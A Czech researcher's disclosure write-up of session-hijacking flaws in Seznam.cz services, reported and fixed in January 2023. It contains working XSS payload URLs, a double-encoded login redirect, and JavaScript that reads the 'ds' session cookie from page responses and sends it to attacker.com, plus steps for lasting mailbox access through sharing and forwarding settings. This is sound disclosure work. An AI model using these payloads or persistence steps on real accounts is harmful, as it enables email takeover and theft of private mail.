Další krádež session na Seznam.cz: Jak jsem získal neomezený přístup k e-mailu bez znalosti hesla

17. července 2023

Před třemi lety jsem našel na Seznamu bezpečnostní chybu, která umožňovala ukrást session aktuálně přihlášeného uživatele (blog). Historie se opakuje a v tomto writeupu popíšu, jak jsem začátkem tohoto roku našel nový způsob, jak session ukrást.

Co to bylo tentokrát? Dokázal jsem získat přístup do vaší e-mailové schránky. Stačilo pouze to, abyste používali stránky Seznamu. Další varianta zneužití mohla nastat, když jste byli přihlášeni a otevřeli libovolný odkaz, ve kterém byl můj script. Žádná další interakce od vás (např. zadávání údajů) nebyla nutná. 😈

Kromě běžného přístupu bylo možné získat tzv. Persistent Email Access, tedy neomezený přístup do e-mailové schránky. Mohli jste si sice změnit své heslo, změnit telefonní číslo pro 2FA, změnit doslova celé zařízení, ale i tak jsem měl k vašemu e-mailu stále přístup. 💀

Celý tento text je i zpracován formou videa:

Kapitoly:

Proč je zabezpečený e-mail tak důležitý?

E-mail používáme nejen pro běžnou komunikaci, ale také ho zadáváme u většiny webových aplikací. A bývá to naše záloha pro případy, kdy zapomeneme heslo – přes e-mail si můžeme účet a heslo obnovit. Útočník, který se do schránky nabourá, má pak možnost:

  • Přečíst si vaši veškerou poštu
  • Odesílat zprávy a spam pod vaší identitou
  • Využívat další služby poskytovatele pod vaší identitou
  • Získat přístup k dalším účtům (například Paypal, Dropbox, Coinbase, Facebook a jiné) pomocí obnovení hesla přes e-mail, pokud zde není další úroveň ochrany jako 2FA/MFA

E-mailová schránka je takový středobod webových aplikací. Stačí mít přístup do vašeho e-mailu, a rázem může mít osoba přístup i do několika dalších služeb. Právě kvůli vysokému bezpečnostnímu riziku by měl být e-mail co nejlépe zabezpečený.

Jak funguje session na Seznamu

Seznam Email je největší freemailová služba na českém internetu. Celkově spravuje více než 33 milionů schránek, k datu 10. 11. 2020 to bylo přesně 33 873 419 schránek, přičemž aktivních z nich bylo kolem 8 milionů.

Uživatelskou session na portále Seznam.cz zajišťuje cookie s názvem „ds”. Tato cookie je chráněna příznakem HttpOnly, takže běžná krádež této hodnoty pomocí cross-site scriptingu (XSS) není možná.

Tuto cookie by samozřejmě bylo možné ukrást pomocí malwaru v počítači. Daný postup by ovšem nebyl chybou Seznamu, nýbrž chybou uživatele, a na uživatelské chyby se nezaměřuji.

Kontrola IP adresy

Session na Seznamu funguje podobně jako u mnoha jiných společností - nedochází ke kontrole IP adresy. V momentě, kdy dojde ke krádeži této hodnoty, útočník může libovolně session použít a získat přístup do e-mailové schránky oběti, a to i bez znalosti hesla.

Možná si říkáte, proč to takto funguje. Důvodem je lepší použitelnost pro uživatele. V dnešní době mobilních zařízení používá běžný uživatel mnoho IP adres - mobilní data, domácí wifi, firemní wifi. V případě kontroly IP adresy by se uživatel musel denně několikrát přihlašovat ke svému účtu, což by nebylo příliš uživatelsky přívětivé. Mohla by existovat volitelná možnost v nastavení účtu, která by prováděla kontrolu IP adresy (seznam povolených IP adres), ale reálně si nevzpomenu na žádný příklad společnosti, která by toto nastavení nabízela.

Na videu níže můžete vidět uživatele používající vícefázové ověření (MFA), který je přihlášen na svém prohlížeči Google Chrome. Jeho "ds cookie" bylo možné použít na jiném operačním systému (Linux), jiném prohlížeči (Firefox), se zcela jinou IP adresou.

Platnost session

Další vlastností session na Seznam.cz je její dlouhodobá platnost. Uživatelé, kteří jsou přihlášeni a neodhlásí se manuálně, jsou přihlášeni po velmi dlouhou dobu.

Podobné chování mají i jiné společnosti Google, Facebook, Twitter a další. Je to poměrně běžné u těchto služeb. Sami si můžete odpovědět, kdy naposledy jste se přihlašovali ke svému Gmailu nebo Instagramu? Určitě to je již dlouho a stejné je to i u Seznamu.

V tom se skrývá i nebezpečí. V okamžiku, kdy útočník získá cizí session, tak je schopen ji používat dost dlouhou dobu. Využívá ji do doby, kdy buď dojde k manuálnímu odhlášení ze strany uživatele nebo dojde k expiraci na straně severu.

Ds cookie na Seznamu má mít dle dokumentace velmi dlouhou dobu platnost (odkaz). Dle údajů má mít tato session platnost 2190 dní, což je 6 let.

Session Hijacking

Session Hijacking je typ útoků, při kterém útočník získá session oběti a je schopen používat její účet, a to zcela bez znalosti přihlašovacích údajů. Útočník je v ten moment schopen vykonávat veškeré akce jako samotný uživatel. Všechny změny, až na ty, kdy je vyžadováno aktuální heslo uživatele (nastavení nového hesla nebo jiné).

Způsobů, jak se dá ukrást uživatelská session přes webové aplikace, je mnoho. Většinou to je kombinace zranitelnosti XSS + nechráněná session, například:

  • Cookies (chybějící HttpOnly)
  • Local Storage / Session Storage
  • Javascriptová proměnná
  • phpinfo.php
  • ...
  • Chybná konfigurace u přihlášení (Seznam 2020)
  • Session v response body

Základní bezpečnostní problém

Základním problémem bylo, že na mnoha stránkách Seznamu byla v těle odpovědi (response body) hodnota ds cookie = uživatelská session.

Jednalo se o tyto stránky:

  • https://www.sbazar.cz
  • https://www.sauto.cz
  • https://diskuze.seznam.cz/v3/{portal}/discussion/
  • https://www.sreality.cz/api/cs/v2/userinfo

Většina stránek mající tento problém používá javascriptový framework IMA.js (https://imajs.io), což je open source projekt od Seznamu.

https://www.sbazar.cz (IMA.js)

https://www.sauto.cz (IMA.js)

https://diskuze.seznam.cz/v3/{portal}/discussion/ (IMA.js)

Portál sreality.cz zas zobrazoval session v response body u svého API ve formátu base64.

https://www.sreality.cz/api/cs/v2/userinfo

Mým cílem bylo najít XSS, a pomocí této zranitelnosti provést request k získání response obsahující session uživatele.

Kvůli zachování Same-Origin-Policy (SOP) jsem měl následující scope:

  • https://www.sbazar.cz/*
  • https://www.sauto.cz/*
  • https://diskuze.seznam.cz/*
  • https://www.sreality.cz/*

Jak jsem postupoval (walkthrough writeup)

Při hledání zranitelnosti jsem testoval všechny webové aplikace. Zkoušel jsem třeba diskuze.seznam.cz. V tomto případě se ale jedná o omezenou stránku s malým počtem uživatelských vstupů, takže šance na nalezení XSS nebyla moc velká.

Poměrně často jsem testoval i sreality.cz, ale tam jsem nemohl na nic narazit.

Testoval jsem taky sbazar.cz, na který jsem se dost zaměřoval. Přeci jen, je tam mnoho uživatelských vstupů a možností. Zkoušel jsem tam vše, co mě napadlo: vložení inzerátu, změnu jména prodávajícího, vyhledávání, filtrování… a nic z toho.

O několik týdnů později jsem zkoušel testovat Sbazar znovu, ale tentokrát v jiném prohlížeči a…

XSS!

Ačkoliv jsem byl rád, tak jsem tomu nerozuměl. K vyvolání alertu došlo při vložení XSS payloadu do názvu inzerátu, a to jsem v minulosti rozhodně několikrát zkoušel.

Jak je možné, že to najednou fungovalo, když to dříve nešlo? Že by nová chyba? Nebo jsem to jen špatně otestoval? 🤔

Nic takového. Zásadní roli hrála skutečnost, že jsem vždy testoval Sbazar v prohlížeči ve výchozím nastavení, zatímco alert se zobrazil v prohlížeči s doplňky. Rozdíl byl v doplňku blokující reklamu.

Ano, pokud byl v prohlížeči používán blokátor reklamy (AdBlock, uBlock Origin…), tak došlo k zobrazení alertu.

Google Chrome (Chromium) výchozí nastavení:

Google Chrome (Chromium) s uBlock Origin:

Seznam má vlastní detekční řešení, které brání v blokaci reklamy. V momentě, kdy je zjištěno, že se používá nějaký blokační doplněk, tak se nastaví cookie qusnyQusny=1 a reklama je uživatelům zobrazena jiným způsobem. (Pozn. Teoreticky nemusel být použit žádný doplněk blokující reklamu, ale stačilo pouze nastavit tuto cookie například skrze XSS na subdoméně).

Prohlížeč pouze s nastavenou cookie qusnyQusny=1 (profil obsahuje uložený XSS payload):

Popis qusnyQusny cookie:

Jakmile je tato cookie nastavena, tak nejen že se reklama zobrazuje jinak, ale i uložené hodnoty jsou odlišně interpretovány a dochází ke zranitelnosti XSS. V mém případě se jednalo o hodnoty Název inzerátu a Jméno prodávajícího. Uložením XSS payloadu do těchto hodnot došlo k vykonání skriptu → Jednalo se o Stored XSS.

Prohlížeč s AdBlockem

K vykonání skriptu docházelo pouze při otevření detailu inzerátu (i staženého z prodeje). Pokud byl uložen skript v názvu inzerátu, který se zobrazuje i v kategoriích nebo na hlavní stránce, tak k interpretování kódu nedošlo.

Kromě neošetřených dvou vstupů byla na Sbazaru další „užitečná” bezpečnostní chyba.

Jednalo se o absenci bezpečnostní hlavičky Content-Security-Policy (CSP). Útočník tímto mohl zapsat pouze script tag <script src=//attacker.com> a načíst celý exploit z externí adresy.

Chybějící CSP Header

Profil načítající externí skript a zobrazující ds cookie v alertu

Video s uloženým externím scriptem ve jménu uživatele:

Útočník mohl opakovaně vytvářet větší množství inzerátů s XSS ve jménu uživatele nebo v názvu inzerátu, a tím si zajistit umístění inzerátů na hlavní stránce, kde se zobrazují právě nově vytvořené nabídky. Zde mohl mít svůj skript, který by kradl uživatelské session (request na sbazar.cz → získání response včetně session).

Hezká zranitelnost, že? 😎

Ne, opravdu ne! Tohle je odpornost. Ta limitace je příšerná. Vyžadovaný blokátor reklamy v exploitu? Nic takového.

Proč jsem s tím vlastně nebyl spokojenej? 🤔

Protože to má velmi nízkou úspěšnost u případného útoku.

Kolik procent uživatelů může používat blokátor reklamy? Pokud budu optimistický, tak řekněme 20% na počítači. Na mobilu se ale blokace reklamy nepoužívá. Budu-li brát poměr používání PC/mobil 50:50, tak to vychází, že přibližně 10% všech uživatelů může používat AdBlock nebo jinou alternativu.

Z toho tedy vyplývá, že exploit by měl 10% úspěšnost u přihlášených uživatelů.

Když to obrátím, tak můj exploit v 90% nebude fungovat!

S tím jsem rozhodně spokojený nebyl a rozhodl jsem se, že to reportovat Seznamu zatím nebudu a pokusím se najít něco lepšího.

Pro časovou orientaci, tuto chybu jsem našel přibližně začátkem listopadu 2022 a dal jsem si deadline na konec roku 2022. Pokud by to Seznam do té doby opravil, tak by mě to ani moc netrápilo. S touto chybou bych nebyl vnitřně spokojený.

A 29.12. jsem něco objevil…

Narazil jsem na stránku sauto.cz/bannerova-reklama obsahující v parametru clickthru adresu, která se promítala do URL v reklamě.

https://www.sauto.cz/bannerova-reklama?perPage=4&banner=1&customId=25376133-EBM&priceFormat=475000&id=179898119&category=&manufacturer=&clickthru=https://i.seznam.cz/clickthru%3FspotId%3D334…..

Jako první mě napadlo, co když tam vložím javascript:alert(1)? Půjde to? 🤔

Vložil jsem to do parametru, načetl stránku, klikl na odkaz a…

...a šlo to. 🙂

Našel jsem tedy Reflected XSS vyžadující interakci - kliknutí na odkaz.

Zkusil jsem nyní změnit XSS payload na "><script>alert(1)</script>

Prvně jsem ověřil, zda se vše propsalo správně…

...a propsalo.
Zkusil jsem načíst stránku… 🙏

A byl tam alert, ale tentokrát bez kliknutí na odkaz.

Našel jsem tedy Reflected XSS, který bude vhodně použitelný pro exploit vedoucí ke krádeži session.

Jelikož odkazů v reklamě bylo několik, tak by se kód vykonával opakovaně. Použil jsem tedy na konec výrazu tag pro HTML komentář "><script>alert(1)</script><!-- , aby došlo k zakomentování všech výrazů za script tagem.

Z URL jsem poté odstranil všechny nadbytečné parametry, a adresa pak vypadala takto:

https://www.sauto.cz/bannerova-reklama?perPage=1&banner=1&clickthru="><script>alert(1)</script><!--

Poslední důležitou věcí je Content Security Policy hlavička. A tento header opět chyběl, takže se dalo odkazovat na externí script.

Finální URL:

https://www.sauto.cz/bannerova-reklama?perPage=1&banner=1&clickthru="><script src=//attacker.com/script.js></script><!--

Samotný exploit vypadal pak následovně:

document.getElementsByClassName("main")[0].style.display = "none";

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            var response = this.responseText;
            var session = response.match(/(?<=ds=).{72}/)[0];
            var i=new Image();
            i.src="https://attacker.com/cookies.php?c="+session;
			window.location.replace("https://www.sauto.cz");
		}
	};
xhttp.open("GET", "https://www.sauto.cz", true);
xhttp.withCredentials = true;
xhttp.send();

Popis:

  1. Prvně došlo ke skrytí rámečku okolo banneru, který se zobrazoval (odkaz)
  2. Provedení GET requestu na sauto.cz včetně cookies (withCredentials=true)
  3. Jestliže byla odpověď 200, tak došlo ke krádeži celé response
  4. Z celé response se získala pouze session
  5. Vše se poté poslalo na server útočníka

Vše fungovalo správně, až na jednu věc. Funkčnost exploitu u přihlášeného uživatele byla “pouze” 75%.

Problémem bylo automatické přihlášení a funkce některých prohlížečů. Uživatel mohl být totiž přihlášen ke svému e-mailu (Email.cz), ale při otevření stránky Sauto.cz už přihlášený nemusel být.

Jelikož jsem chtěl využít chyby, kdy se zobrazuje session v odpovědi, tak jsem potřeboval, aby byl uživatel vždy přihlášen i k Sauto.cz.

K automatickému přihlášení dochází u browserů, které neblokují „cookies třetích stran”. Prohlížeče, které tyto cookies ještě neblokují jsou Chrome, Edge a Opera. Dle statistik používá tyto prohlížeče přibližně 75% uživatelů v ČR.

Uživatelé, kteří používají jiné prohlížeče (Safari, Firefox, Brave, Incognito Chrome) tak nejsou k Sauto.cz automaticky přihlášeni.

Pokud se chtějí přihlásit a využívat výhod účtu, tak musí kliknout na „Přihlásit” v pravém horním rohu a vybrat přihlášeného uživatele. Až po daném kliknutí dojde k automatickému přihlášení na Sauto.cz.

Dodatečné přihlášení uživatele na Sauto.cz, který již je přihlášen ke svému Seznam účtu (Google Chrome Incognito), vypadá následovně:

Uživatel není automaticky přihlášen, musí kliknout vpravo na "Přihlásit"

Vyskakovací okno s výběrem aktuálně přihlášeného uživatele

Po výběru je uživatel přihlášen k Sauto.cz (žádné zadávání hesla)

Začal jsem tedy řešit, jak zbylé uživatele zcela automaticky na Sauto přihlásit, abych zvýšil úspěšnost exploitu na 100%.

Zkoumal jsem tedy, jak přihlášení formou kliknutí funguje…

Komunikace probíhající při výběru uživatele

Při vybrání uživatele se posílá následující odkaz:

https://login.szn.cz/continue?service=sauto&return_url=https://login.sauto.cz/loginDone?service=sauto&return_url=https://www.sauto.cz

Prvním nedostatkem bylo, že stačilo tuto URL pouze otevřít a došlo k automatickému přihlášení. Bylo tedy možné nepřihlášeného uživatele na tuto URL přesměrovat a přihlásit ho, ale tím bych stále nic nezískal a bylo nutné vyřešit co dál.

Na videu níže uvidíte chování v prohlížečích Google Chrome, Google Chrome Incognito a Brave. Dále použití odkazu pro automatické dopřihlášení na Sauto.cz v prohlížeči Brave.

Další chybou u tohoto requestu bylo, že byla možná změna return_url v posledním parametru, a tím mohlo dojít k ovlivnění konečného přesměrování.

https://login.szn.cz/continue?service=sauto&return_url=https://login.sauto.cz/loginDone?service=sauto&return_url=https://www.sauto.cz/ABCDEF…

Nastal zde ale menší problém. Jestliže jsem do tohoto parametru vložil celou URL s XSS ve formátu URL encoding, tak nedošlo k propsání celé URL do response.


Propsalo se to pouze do prvního paramateru, tedy perPage=1.

Když tohle nezafungovalo, tak mě napadla další věc. Když to nešlo jednou, tak to půjde podruhé → Double encoding.

Tip: Pro double encoding doporučuji v Burp Suite použít doplněk Hackvertor. Běžný decoder v Burpu encoduje všechny znaky a výsledná je adresa je zbytečné dlouhá. Použitím Hackvertoru se encodují pouze speciální znaky.

bannerova-reklama?perPage=1&banner=1&clickthru="><script src=//attacker.com/script.js></script><!--
→
bannerova-reklama%253FperPage%253D1%2526banner%253D1%2526clickthru%253D%2522%253E%253Cscript%2Bsrc%253D%252F%252Fattacker.com%252Fscript.js%253E%253C%252Fscript%253E%253C%2521--


Double encoding se nejen správně propsal, ale docházelo také k funkčnímu přesměrování.

Použitím requestu https://login.szn.cz/continue?service=sauto&return_url=https://login.sauto.cz/loginDone?service=sauto&return_url={double-encoding-url} jsem tak mohl uživatele automaticky přihlásit na Sauto a zpět ho přesměrovat na stránku obsahující XSS (sauto.cz/bannerova-reklama…) a ukrást session.

Vyřešil jsem tímto způsobem uživatele, kteří i když byli přihlášeni ke svému e-mailu, tak nebyli automaticky přihlášeni k Sauto.cz (uživatele používající prohlížeče blokující cookies), a tím jsem zvýšil funkčnost exploitu z 75% na 100%.

Zároveň všem zcela nepřihlášeným uživatelům byl zobrazen přihlašovací formulář, po jehož vyplnění byli přesměrováni na adresu sauto.cz/bannerova-reklama.., tedy URL obsahující skript útočníka (krádež session).

Exploit byl tedy funkční nejen pro všechny přihlášené uživatele (automatická krádež session), ale také i pro zcela nepřihlášené → po vyplnění údajů a přihlášení došlo ke krádeži session. Celý exploit je popsán v části Exploit.

S touto zranitelností už jsem byl spokojen a začal jsem sepisovat report, který bych zaslal Seznamu. Ve finálním reportu jsem ale nepopisoval pouze jednu chybu, ani dvě, ale rovnou tři vážné bezpečnostní zranitelnosti. 😈

Ano, našel jsem ještě další bezpečnostní chybu, kterou jsem objevil během sepisování reportu.

Poslední zranitelnost by se dala nazvat jako 0-click Session Hijacking a její závažnost bych ohodnotil jako Critical.

Jelikož se jednalo o vážnější chybu než ty předchozí, tak jsme se domluvili se Seznamem, že nebudu zveřejňovat podrobnosti o tomto nálezu.

Souhrn nalezených zranitelností

1) Stored XSS Sbazar.cz (AdBlock) + Sbazar.cz Session v response body

Popis

Špatně ošetřeny uživatelské vstupy “Název inzerátu” a “Jméno prodávajícího”, které mohly být zneužity ke Stored XSS. Pro vykonání uloženého scriptu musel uživatel používat blokátor reklamy (AdBlock, uBlock Origin..).

Zneužití

Útočník mohl opakovaně vytvářet větší množství inzerátů s XSS ve jménu uživatele nebo v názvu inzerátu, a tím si zajistit umístění inzerátů na hlavní stránce, kde se zobrazují právě nově vytvořené nabídky. Zde mohl mít svůj skript, který by kradl uživatelské session (request na sbazar.cz → získání response včetně session).

U přihlášeného uživatele, který by měl blokátor reklamy a otevřel inzerát z hlavní stránky, by došlo ke krádeži session a útočník by získal přístup do jeho e-mailu.

Plusy:

  • Stored XSS
  • Nový inzerát je na hlavní stránce
    → každý inzerát na hlavní stránce obsahuje cizí skript
  • Chybějící hlavička CSP

    doplňkové:
  • Uživatel je dlouhodobě přihlášen
  • Ukradená session má dlouhou platnost (6 let)
  • Přístup do e-mailu

Mínusy:

  • Uživatel se musí nějakým způsobem dostat na inzerát
    → přesměrování z cizí stránky, otevření inzerátu přes Sbazar
  • Vyžadovaný blokátor reklamy
  • Nastavená cookie qusnyQusny
    → vyžadované dvě návštěvy stránky: první pro nastavení cookie, při druhé dojde k vykonání skriptu

Hodnocení: HIGH

Za normálních okolností bych zvažoval hodnocení spíše ke critical nebo alespoň high-critical, ale omezením na používaný blokátor reklamy v prohlížeči (nejedná se o výchozí nastavení) je to za mě HIGH.

Je potřeba vnímat, že úspěšným exploitem dojde k přístupu do e-mailové schránky cizího uživatele. V hodnocení zahrnuji také post exploitation fázi, která je velmi užitečná pro útočníka a tedy velmi riziková pro oběť. Bližší popis vysvětluju v části Post Exploitation.

2) Reflected XSS Sauto.cz + Sauto.cz Session v response body

Popis

Sauto.cz obsahoval na stránce /bannerova-reklama zranitelný parametr clickthru, do kterého bylo možné umístit vlastní skript.

Zneužití

U každého přihlášeného uživatele, který se jakýmkoliv způsobem (např. přesměrováním) dostal na odkaz /bannerova-reklama s XSS, byla ukradena session. Celý útok probíhal bez žádné další interakce od oběti.

Uživatelům, kteří nebyli vůbec přihlášeni k e-mailu u Seznamu, se zobrazil přihlašovací formulář. Po zadání údajů byli přesměrováni na return_url, tedy na stránku s XSS a opět došlo ke krádeži session.

V ohrožení byli tedy všichni uživatelé, ale především ti přihlášení. Zranitelná stránka fungovala bez omezení ve všech prohlížečích a na všech typech zařízeních (telefon, tablet, počítač a jiné).

Způsobů, jak se dalo skrytě přesměrovat uživatele na /bannerova-reklama s XSS bylo mnoho. Zaleželo jen na zkušenostech a kreativitě útočníka. Napadá mě hned několik příkladů:

  • Odkaz ve zprávě e-mailu (zajištěn přihlášený uživatel)
  • Zkracovače URL (bit.ly…)
  • Zaplacená reklama na IG/FB (stories s odkazem)
  • Využití zranitelnosti na jiném webu (XSS, Open Redirect)
Jeden ze způsobů je ukázán ve videu v části Video útoku.

Plusy:

  • 100% přihlášených uživatelů (všechna zařízení, všechny prohlížeče)
  • Nepřihlášení uživatelé jsou vyzváni k přihlášení
  • Chybějící hlavička CSP

    doplňkové:
  • Uživatel je dlouhodobě přihlášen
  • Ukradená session má dlouhou platnost (6 let)
  • Přístup do e-mailu

Mínusy:

  • Uživatel se musí nějakým způsobem dostat na URL

Hodnocení: HIGH-CRITICAL

Jelikož pouhým otevřením odkazu bylo možné získat přístup k cizímu e-mailu, kde bylo možné si nechat obnovit heslo k jiné používané službě, tak hodnocení vidím blíže ke CRITICAL.

3) 0-click Session Hijacking

Popis

<redacted>

Zneužití

<redacted>

Hodnocení: CRITICAL

Exploit (Sauto.cz)

Shrnutí nálezů před psaním exploitu

  1. Session v response body
  2. Reflected XSS - sauto.cz/bannerova-reklama…
  3. Chybějící CSP header
  4. Automatické přihlášení uživatele přes URL (prohlížeče blokující cookies třetích stran)
    → https://login.szn.cz/continue?service=sauto&return_url=https://login.sauto.cz/loginDone?service=sauto&return_url=https://www.sauto.cz
  5. Libovolná Seznam adresa v parametru return_url pro konečné přesměrování
    → https://login.szn.cz/continue?service=sauto&return_url=https://login.sauto.cz/loginDone?
    service=sauto&return_url=https://www.sauto.cz/ABCDEF?12345=x...
  6. “Bypass” zakázaných znaků pomocí double encodingu v return_url
    → možnost vložení /bannerova-reklama?perPage=1&banner=1&clickthru="><script src=//attacker.com/script.js></script><!--

Session Hijacking Exploit

Finální URL s Reflected XSS vypadala takto:

https://www.sauto.cz/bannerova-reklama?perPage=1&banner=1&clickthru="><script src=//attacker.com/script.js></script><!--

attacker.com/script.js

document.getElementsByClassName("main")[0].style.display = "none";

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
		getCookiesFromResponse();
     } else if (this.readyState == 4 && this.status == 401) {
	window.location.replace('https://login.szn.cz/continue?return_url=https%3A%2F%2Flogin.sauto.cz%2FloginDone%3Fservice%3Dsauto%26return_url%3Dhttps://www.sauto.cz%2fbannerova-reklama%253FperPage%253D1%2526banner%253D1%2526clickthru%253D%2522%253E%253Cscript%2Bsrc%253D%252F%252Fattacker.com%252Fscript.js%253E%253C%252Fscript%253E%253C%2521--');
    }
};
xhttp.open("GET", "https://www.sauto.cz/api/v1/users/self", true);
xhttp.withCredentials = true;
xhttp.send();


function getCookiesFromResponse() {
    var xhttp2 = new XMLHttpRequest();
    xhttp2.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            var response = this.responseText;
            var session = response.match(/(?<=ds=).{72}/)[0];
            var i=new Image();
            i.src="https://attacker.com/cookies.php?c="+session;
			window.location.replace("https://www.sauto.cz");
		}
	};
    xhttp2.open("GET", "https://www.sauto.cz", true);
    xhttp2.withCredentials = true;
    xhttp2.send();	
}

Popis:

  1. Prvně byl schován rám okolo celého banneru, který se zobrazoval (odkaz)
  2. Provedení GET requestu na sauto.cz/api/v1/users/self včetně cookies (withCredentials=true)
    → ověření přihlášeného uživatele
  3. Jestliže byla odpověď 200 (přihlášen), tak došlo k vykonání funkce getCookiesFromResponse()
    → provedení GET requestu na sauto.cz
    → získání response včetně cookies
    → z cookies získání pouze session
    → odeslání session na server útočníka
  4. Jestliže byla odpověď 401 (nepřihlášen)
    → uživatel je přesměrován na login.szn.cz/continue
    → jestliže byl uživatel přihlášen k seznam účtu, tak došlo automaticky k přihlášení (bez interakce) a k přesměrování zpět na sauto.cz/bannerova-reklama s XSS (krok 1)
  5. Jestliže byla odpověď 401 (nepřihlášen)
    → uživatel je přesměrován na login.szn.cz/continue
    → jestliže uživatel nebyl nepřihlášen k seznam účtu
    → zobrazen formulář k přihlášení
    →po zadání údajů byl přesměrován na sauto.cz/bannerova-reklama s XSS (krok 1)

Ukázka exploitu v prohlížeči Brave:

Exploit-Flow

  1. Uživatel otevřel (důvěryhodný) odkaz, který ho přesměroval na sauto.cz/bannerova-reklama…
  2. Tam došlo k vykonání kódu: získání response obsahující session, odeslání session útočníkovi
  3. Oběť byla přesměrována na cílenou stránku

Exploit time: ~ 1 sec (přihlášený uživatel k e-mailu)

Post Exploitation

Každý „hacker” neusiluje pouze o jednorázový přístup do e-mailu, ale ideálně o přístup neomezený. Přesně tak nad tím přemýšlím i já. Post Exploitation fáze je i důvod proč jsou dané zranitelnosti mnou vysoko hodnoceny.

V roli útočníka bylo možné provést po získání session několik akcí:

Persistent Email Access

V momentě, kdy měl útočník k dispozici session oběti, tak kromě běžného používání e-mailové schránky byl schopen nastavit “trvalý přístup” do účtu oběti.

Toto lze provést skrze Nastavení → Sdílení schránky (https://email.seznam.cz/settings#/multiuser). Útočník zde mohl uložit svůj Seznam Email, a poté byl schopen se přihlašovat do cizí e-mailové schránky, a to i po vypršení session nebo změně hesla.

Problémem je, že zde není vyžadováno aktuální heslo, a tak zde útočník mohl bez problému nastavit svůj e-mail. Další komplikací je, že oběti nepřijde žádná notifikace o změně tohoto nastavení.

Email auto-forwarding

Další možností, jak si mohl „hacker” zajistit přístup k novým e-mailům po vypršení session, bylo skrze nastavení pravidel (https://email.seznam.cz/settings#/rules). Útočník byl opět schopen uložit svůj e-mail, a to bez ověření zadání hesla oběti.

Například pravidlem Když každá zpráva; pošli kopii "[email protected]" nastaví, že mu budou od oběti přeposlány v kopii všechny nově příchozí e-maily. (Pozn. V odeslaných tyto e-maily nejsou viditelné.)

Video útoku

Na videu je ukázán příklad, kdy uživatel s účtem [email protected] má nastavené dvoufázové ověření ke svému e-mailu a pouze klikne na příspěvek na Facebooku, který vede na hudební video umístěné na youtube.com.

Výsledkem kliknutí je, že útočník ([email protected]) získal neomezený přístup do e-mailu cizího uživatele. Uživatel se odhlásil a tím vyexpiroval svou session, ale útočník i tak stále může přistupovat k jeho účtu.

Celý útok byl proveden bez jakéhokoliv upozornění uživatele. Oběť tedy nemůže tušit, že k e-mailu má momentálně přístup i někdo jiný.

Používáte Seznam? Zkontrolujte si nastavení

Z důvodu závažnosti chyb provedl Seznam v lednu toho roku smazání všech aktivních session všem uživatelům. Tím se sice zamezilo použití ukradené session, ale nevyřešilo to mnou popsanou Post Exploitation část.

Z mé pozice bych doporučil uživatelům Seznamu zkontrolovat tyto sekce:

Sdílení schránky (https://email.seznam.cz/settings#/multiuser)

  • Kontrola sekce “Sdílení schránky” a odstranění navázaných schránek, které tam nemají být. V případě, že si útočník přidal svůj e-mail do „Sdílení schránky“, tak má do vaší e-mailové schránky stále přístup, a to i po smazání všech relací.

Pravidla (https://email.seznam.cz/settings#/rules)

  • U pravidel by neměl útočník přímý přístup do vaší schránky, ale v tom nejhorším případě by mu byla v kopii přeposílána veškerá vaše příchozí pošta → e-maily obsahující zapomenuté nebo nově vygenerované heslo. Případně mohl nastavit pravidlo, že zapomenuté heslo z jiné služby bude rovnou přeposláno na jiný e-mail (bez uložení v přijatých zprávách).

Shrnutí

Každou z výše zmíněných zranitelností bylo možné dosáhnout krádeže uživatelské session, a tím získat přístup do e-mailové schránky cizího uživatele. Kromě získání běžného přístupu bylo možné získat tzv. Persistent Email Access, tedy neomezený přístup do e-mailové schránky. Uživatel si mohl změnit své heslo, změnit telefonní číslo pro 2FA, změnit doslova celé zařízení, ale i tak měl útočník k e-mailu stále přístup.

U zranitelností nebylo možné obrany ze strany uživatele. Vše se vykonalo na pozadí a nebylo možné útok nikterak zastavit. Jedna vteřina a útočník získal neomezený přístup do cizího e-mailu.

Zranitelnost se týkala všech uživatelů (kromě AdBlock zranitelnosti). Nastavené velmi silné heslo nebo nastavené dvoufázové ověření nemělo vliv na zneužití. Získanou session se útočník mohl přihlásit do služeb Seznam Email, Email Profi, Seznam Médium, Firmy.cz, Sreality.cz, Sbazar.cz. Pro služby Sklik a Seznam Peněženka nebylo možné session použít.

Rád bych poznamenal, že nalézt všechny zranitelnosti na portále Seznamu nebylo jednoduché. U jiných webových aplikací obvykle nacházím závažnější bezpečnostní chybu už za pár hodin, ale u Seznamu to bylo jiné. V roce 2022 jsem tím strávil poměrně dost volného času a pokud bych to měl nějak sečíst, tak se mohlo jednat odhadem o 20 MD. Společnost Seznam bezpečnost svých aplikací řeší a při hledání zranitelnosti to bylo opravdu znát.

Timeline

18.1.2023 13:34 Odeslán report
18.1.2023 16:32 Potvrzeno přijetí
19.1.2023 10:38 Opraveny kritické zranitelnosti
20.1.2023 09:52 Opraveny zbylé zranitelnosti


Po opravě došlo k osobnímu poděkování, nabídce spolupráce a vyplacení odměny ve výši 35 000 Kč.


Tabulka všech nahlášených zranitelností

  1. 06/2020 Session Hijacking
    XSS/Sweb + CORS + “Ticket” URL Misconfiguration
  2. 01/2023 Session Hijacking
    Stored XSS Sbazar.cz (AdBlock) + Sbazar.cz session v response body
  3. 01/2023 Session Hijacking
    Reflected XSS Sauto.cz + Sauto.cz session v response body
  4. 01/2023 Session Hijacking (0-click)
Všechny zranitelnosti byly s dopadem Persistent Email Access (neomezený přístup do účtu pomocí funkce Sdílení schránky) a Auto-Forwarding (automatické přeposlání doručené pošty v kopii na e-mail útočníka).

Nalezení první zranitelnosti mohla být náhoda a chtěl jsem si to potvrdit. To že najdu další tři nebyl záměr... 🙃